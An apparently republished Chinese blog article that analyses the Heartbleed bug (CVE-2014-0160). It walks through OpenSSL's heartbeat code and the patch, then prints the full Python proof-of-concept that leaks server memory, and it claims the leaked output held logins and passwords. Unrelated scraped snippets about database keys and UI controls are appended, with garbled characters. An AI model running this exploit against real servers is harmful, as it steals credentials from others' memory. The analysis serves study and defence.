Heart bleed 漏洞源码与过程解析

article/2025/11/9 14:29:56

Heartbleed漏洞,这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

引用一下知乎上看到的一张图片,十分形象:

Openssl漏洞源码分析:

存在该漏洞的源文件有两个ssl/d1_both.c和ssl/t1_lib.c。

心跳处理逻辑分别是dtls1_process_heartbeat和tls1_process_heartbeat两个函数。

通过阅读RFC6520我们可以得到heartbeat的数据结构

 enum{heartbeat_request(1),heartbeat_response(2),(255)}HeartbeatMessageType;struct{HeartbeatMessageType type;uint16 payload_length;opaque payload[HeartbeatMessage.payload_length];opaque padding[padding_length];}HeartbeatMessage;

这条HeartbeatMessage通过SSL3_RECORD结构——一种SSL/TLS通信基础构建块——进行传输。SSL3_RECORD中的关键性字段如下所示,其中length代表接收到的HeartbeatMessage内容为多少字节、data则为指向该HeartbeatMessage的指针

struct ssl3_record_st{unsigned int length;    /*How many bytes available*/unsigned char *data;    /*pointer to the record data*/
}SSL3_RECORD;

SSL3记录中的data指向接收到的HeartbeatMessage的起始位置,而length代表接收到的HeartbeatMessage的字节数量。与此同时,HeartbeatMessage中的payload_length代表被发回的随意有效负载的字节数量。 

发出HeartbeatMessage的一方对payload_length拥有控制权,SSL3_RECORD中的length字段并没有经过验证、而这一状况就成了攻击者实现内存溢出绝佳机会。

攻击过程图:

Heartbleed: OpenSSLå¯ç ä¸å å¯å¯é¥æ³é²æ¼æ´åæ

攻击者在发出的HeartbeatMessage当中包含了仅为1字节的有效负载,这一情况也被反映在了SSL3的length记录当中;不过payload length字段要求有效负载长度应该为65535字节。受害者忽略了SSL3记录,转而从内存接收到的HeartbeatMessage起始处开始读取65535字节的数据并将其复制到缓存当中,最终以合适的长度发送回攻击者处。由于包含大量额外字节,上图中红色单元格所示即为可能导致信息泄露的数据部分。

以下代码为OpenSSL对HeartbeatMessage输入内容的处理方式,其中p为指向该信息起始处的指针:

1,获取心跳请求包对应的SSLv3记录中数据指针字段,指向request的请求数据部分。

2,

这样,信息类型就被体现在hbtype变量当中,该指针由1字节开始递增,而n2s()宏将长度为16-bit的Heartbeat有效负载写入到payload变量中并将该指针增加到2字节。接下来,pl又成为指向这部分有效负载内容的指针。 

举例来说,一条Heartbeat信息中的payload length为65535字节,即:一条接收到的Heartbeat中最多可能包含64KB有效负载。代码必须将收到的HeartbeatMessage以副本形式发送回去,从而保证缓存区拥有足够的空间来保存64KB有效负载、1字节信息类型、2字节有效负载长度外加部分填充字节,具体结构如前所述。

3,

没有判断请求记录中的真正数据长度,直接用length字段的值来申请空间。

利用以下代码创建HeartbeatMessage回复结构,其中bp为指向HeartbeatMessage回复起始位置的指针:

4,

这部分代码会将响应类型写入到缓存起始位置、递增缓存指针、利用s2n()宏向内存中写入16-bit payload长度并以2字节为单位递增缓存指针,而后将payload的字节数量从接收到的有效负载中(pl)复制到用于回复的有效负载发送内容中。 

payload由攻击者全面控制,而且64KB也足以容纳大量信息。假如由攻击者发送的HeartbeatMessage只拥有1字节有效负载,而且其payload length又与实际情况不符,那么以上代码中的memcpy()就会在接收到的HeartbeatMessage之外从起始处读取受害者的内存进程。如上攻击过程图

 

tls1_process_heartbeat函数的处理逻辑和dtls1_process_heartbeat一样,不再分析。

修复手段

OpenSSL 1.0.1g中的补丁从本质上讲就是一项边界检查,旨在利用SSL3结构(s3->rrec)中的正确长度记录描述输入的HeartbeatMessage。

hbtype=*p++;
n2s(p,payload);
if(1+2+payload+16>s->s3->rrec.length)rerurn 0;
/*silently discard per RFC 6520 sec. 4*/
p1=p;

攻击:

网络上流传甚广的python POC文件:

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code
# Minor customizations by Malik Mesellem (@MME_IT)import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x):return x.replace(' ', '').replace('\n', '').decode('hex')hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')def hexdump(s):for b in xrange(0, len(s), 16):lin = [c for c in s[b : b + 16]]hxdat = ' '.join('%02X' % ord(c) for c in lin)pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)print '  %04x: %-48s %s' % (b, hxdat, pdat)printdef recvall(s, length, timeout=5):endtime = time.time() + timeoutrdata = ''remain = lengthwhile remain > 0:rtime = endtime - time.time() if rtime < 0:return Noner, w, e = select.select([s], [], [], 5)if s in r:data = s.recv(remain)# EOF?if not data:return Nonerdata += dataremain -= len(data)return rdatadef recvmsg(s):hdr = recvall(s, 5)if hdr is None:print 'Unexpected EOF receiving record header - server closed connection'return None, None, Nonetyp, ver, ln = struct.unpack('>BHH', hdr)pay = recvall(s, ln, 10)if pay is None:print 'Unexpected EOF receiving record payload - server closed connection'return None, None, Noneprint ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))return typ, ver, paydef hit_hb(s):s.send(hb)while True:typ, ver, pay = recvmsg(s)if typ is None:print 'No heartbeat response received, server likely not vulnerable'return Falseif typ == 24:print 'Received heartbeat response:'hexdump(pay)if len(pay) > 3:print 'WARNING: server returned more data than it should - server is vulnerable!'else:print 'Server processed malformed heartbeat, but did not return any extra data.'return Trueif typ == 21:print 'Received alert:'hexdump(pay)print 'Server returned error, likely not vulnerable'return Falsedef main():opts, args = options.parse_args()if len(args) < 1:options.print_help()returns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print 'Connecting...'sys.stdout.flush()s.connect((args[0], opts.port))print 'Sending Client Hello...'sys.stdout.flush()s.send(hello)print 'Waiting for Server Hello...'sys.stdout.flush()while True:typ, ver, pay = recvmsg(s)if typ == None:print 'Server closed connection without sending Server Hello.'return# Look for server hello done message.if typ == 22 and ord(pay[0]) == 0x0E:breakprint 'Sending heartbeat request...'sys.stdout.flush()s.send(hb)hit_hb(s)if __name__ == '__main__':main()

在终端输入

在输出中发现login与password关键字已交泄露!

实现攻击!

 

靶场搭建

 


http://chatgpt.dhexx.cn/article/qL6XyuuE.shtml

相关文章

OpenSSL 心脏滴血漏洞(CVE-2014-0160)漏洞讲解(小白可懂,简单详细)

Heartbleed 心脏出血&#xff08;英语&#xff1a;Heartbleed&#xff09;&#xff0c;也简称为心血漏洞&#xff0c;是一个出现在加密程序库OpenSSL的安全漏洞&#xff0c;该程序库广泛用于实现互联网的传输层安全&#xff08;TLS&#xff09;协议。它于2012年被引入了软件中…

码元

码元&#xff1a;固定时长的信号波形&#xff0c;代表不同离散数值的基本波形&#xff08;码元可以理解为一种信号&#xff09; 固定时长中的时长可以称为码元宽度&#xff0c;如下图 上图信号只有0、1两种状态(1个码元携带0或1 1个码元携带1bit的信息量) 所以是二进制…

候选码、主码、外码、全码、超码

文章目录 1.候选码2.主码主属性非主属性 3.外码4.全码5.超码6.总结&#xff1a; 1.候选码 定义&#xff1a;能唯一标识关系中元组的一个属性或属性集。 2.主码 从多个候选键中选择一个作为查询、插入或者删除元组的操作变量&#xff0c;被选用的候选码称为主码。 每个关系必…

数据库系统--码,超码,候选码,主属性,非主属性,主码,全码,外码基本概念

当然&#xff0c;上述只针对学生这一个关系。若涉及参照关系还要引入外码(Foreign Key) &#xff0c;A关系的其中一个属性同时是B关系的主码&#xff0c;那么该属性则是A关系的一个外码&#xff0c;参照B关系。

主属性,范式,超码,码,非主属性,全码

整个属性住都是码&#xff0c;则是全码 all-key STUDENT(Sno&#xff0c;Sname&#xff0c;Grade&#xff0c;Mname) 黄色&#xff08;Sno&#xff0c;Sname&#xff09;是码&#xff0c;也称主码&#xff0c;候选码&#xff08;最小单元&#xff09; 黄色区域Grade/Mname是超…

码元与码点

码元与码点 JavaScript字符串使用了两种Unicode编码混合的策略&#xff1a;UCS-2和UTF-16。对于可以菜哦也能够16位编码的字符&#xff08;U0000~UFFFF&#xff09;&#xff0c;这两种编码实际上是一样的。&#xff08;《JavaScript高级程序设计》&#xff09; 关于码元和和码点…

数据库系统概论第六章(关系数据理论)知识点总结(2)—— 码的概念总结

本专栏收录了数据库的知识点&#xff0c;而从本文起&#xff0c;将讲述有关于关系数据理论中的第一范式、第二范式、第三范式以及BC范式有关知识点&#xff0c;提供给有需要的小伙伴进行学习&#xff0c;本专栏地址可以戳下面链接查看 &#x1f388; 数据库知识点总结&#xff…

Code128一维码(解码)

由于最近在弄一个用Winform实现基于"博斯得"打印机实现打印预览的玩意遇到了几个问题。 在打印条码的时候实际打印的条码长度和预览差距很大于是就查网上查了一下资料熟悉了一下条形码的构成和解读&#xff0c;往下看 认识Code128编码规则 依次是 &#xff1a; 禁止区…

数据库-超码、候选码、主码

超码&#xff08;superkey&#xff09;绝对算得上计算机术语中翻译以后看起来更复杂的一个典型。 超码和码其实没有任何关系&#xff0c;它本质上是一组属性的集合。这一组集合可以唯一的标识出一个元组&#xff0c;就是说不同元组的超码中的属性是不全相同的。 表中的一行就是…

计算机中常用的三种码制,码制

码制 1.数字系统 用数字信号完成对数字量进行算术运算和逻辑运算的电路称为数字电路,或数字系统。由于它具有逻辑运算和逻辑处理功能,所以又称数字逻辑电路。人类已经进入到了数字时代,数字系统在我们日常生活中愈发重要,并广泛应用于通信、商贸、交通控制、航空航天、医疗…

一文搞懂候选码、主码、全码、外码、主属性、主键、主关键字、非主属性清晰总结

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是Rockey&#xff0c;不知名企业的不知名Java开发工程师 &#x1f525;如果感觉博主的文章还不错的话&#xff0c;请&#x1f44d;三连支持&#x1f44d;一下博主哦 &#x1f4dd;联系方式&#xff1a;he18339193956&…

DevExpress 控件使用菜单栏之BarManager

DevExpress 开发的控件有很强的实力,不仅功能丰富,应用简便,而且界面华丽,更可方便定制。对于编程人员来说是个不错的选择。它的菜单栏控件更具代表,完全可以替代开发环境提供的基本控件,而让您编写的程序或软件更显专业化。它还提供完善的帮助系统,资料详尽,可以快速入…

组件,控件,用户控件

在学习这部分时产生了一些疑问&#xff0c;下面是根据我搜罗来的资料得出的一点浅薄的见解。 其实从字面上已经可以理解各自的不同了。但是具体关系其实是从类的继承上来区别的。一般控件派生于&#xff1a;Control类&#xff0c;所以从此类派生出的称之为控件。一般组…

WinCC报表控件

1、背景 WinCC实现报表历来是老大难,自带的报表功能不好使,主要在于配置麻烦,可视化又很差,而又没有好用的第三方控件。虽然网上也有很多实现报表的方法,但是毫无例外的要求使用者具有脚本编程功底,HwDataReport的出现将终结这一现象。您无需一行脚本即可完成WINCC报…

三款ActiveX图表控件对比评测 Pro ActiveX、ProEssentials、ChartDirector

原文转载自慧都控件网&#xff1a;http://www.evget.com/zh-CN/Info/catalog/18101.html 图表控件在现在的商业化应用中已经非常的常见了&#xff0c;随便打开一个网站&#xff0c;图表比比皆是。在自己的开发项目中&#xff0c;选对了好的图表控件将会对自己的项目起到画龙点…

6.1 传统控件

在上一课的表5.1已经列出了Windows的传统控件及其对应的控件类。在这些控件中&#xff0c;读者应该重点掌握命令按钮、选择框、单选按钮、编辑框、列表框和组合框。 .1.1 传统控件的控件通知消息 控件通过向父窗口发送控件通知消息来表明发生了某种事件&#xff0e;例如&#…

DevExpress 控件使用之BarManager

DevExpress 开发的控件有很强的实力&#xff0c;不仅功能丰富&#xff0c;应用简便&#xff0c;而且界面华丽&#xff0c;更可方便定制。对于编程人员来说是个不错的选择。它的菜单栏控件更具代表&#xff0c;完全可以替代开发环境提供的基本控件&#xff0c;而让您编写的程序或…

控件布局通用解决方案

你是否遇到过这样的问题&#xff1a;用编译器拖出一些控件放到对话框上&#xff0c;并合理安排好了位置&#xff1b;但编译运行&#xff0c;改变对话框的大小后&#xff0c;所有控件的位置都乱了&#xff0c;让人感觉非常糟糕。如果控件不太多&#xff0c;你可以尝试手写代码定…

app基本控件

一个完整的APP包括四大类&#xff1a;各种“栏”&#xff1b;内容视图&#xff1b;控制元素&#xff1b;临时视图。 各种“栏”&#xff1a;状态栏、导航栏、标签栏、工具栏、搜索栏、范围栏。 内容视图&#xff1a;列表视图、卡片视图、集合视图、图片视图、文本视图。 控制…

应用程序界面开发 - 自定义用户控件布局控件的使用

在很多时候&#xff0c;我们做一些非常规化的界面的时候&#xff0c;往往需要创建一些用户控件&#xff0c;在其中绘制好一些基础的界面块&#xff0c;作为后续重复使用的一个单元&#xff0c;用户控件同时也可以封装处理一些简单的逻辑。在开发Winform各种类型项目&#xff0c…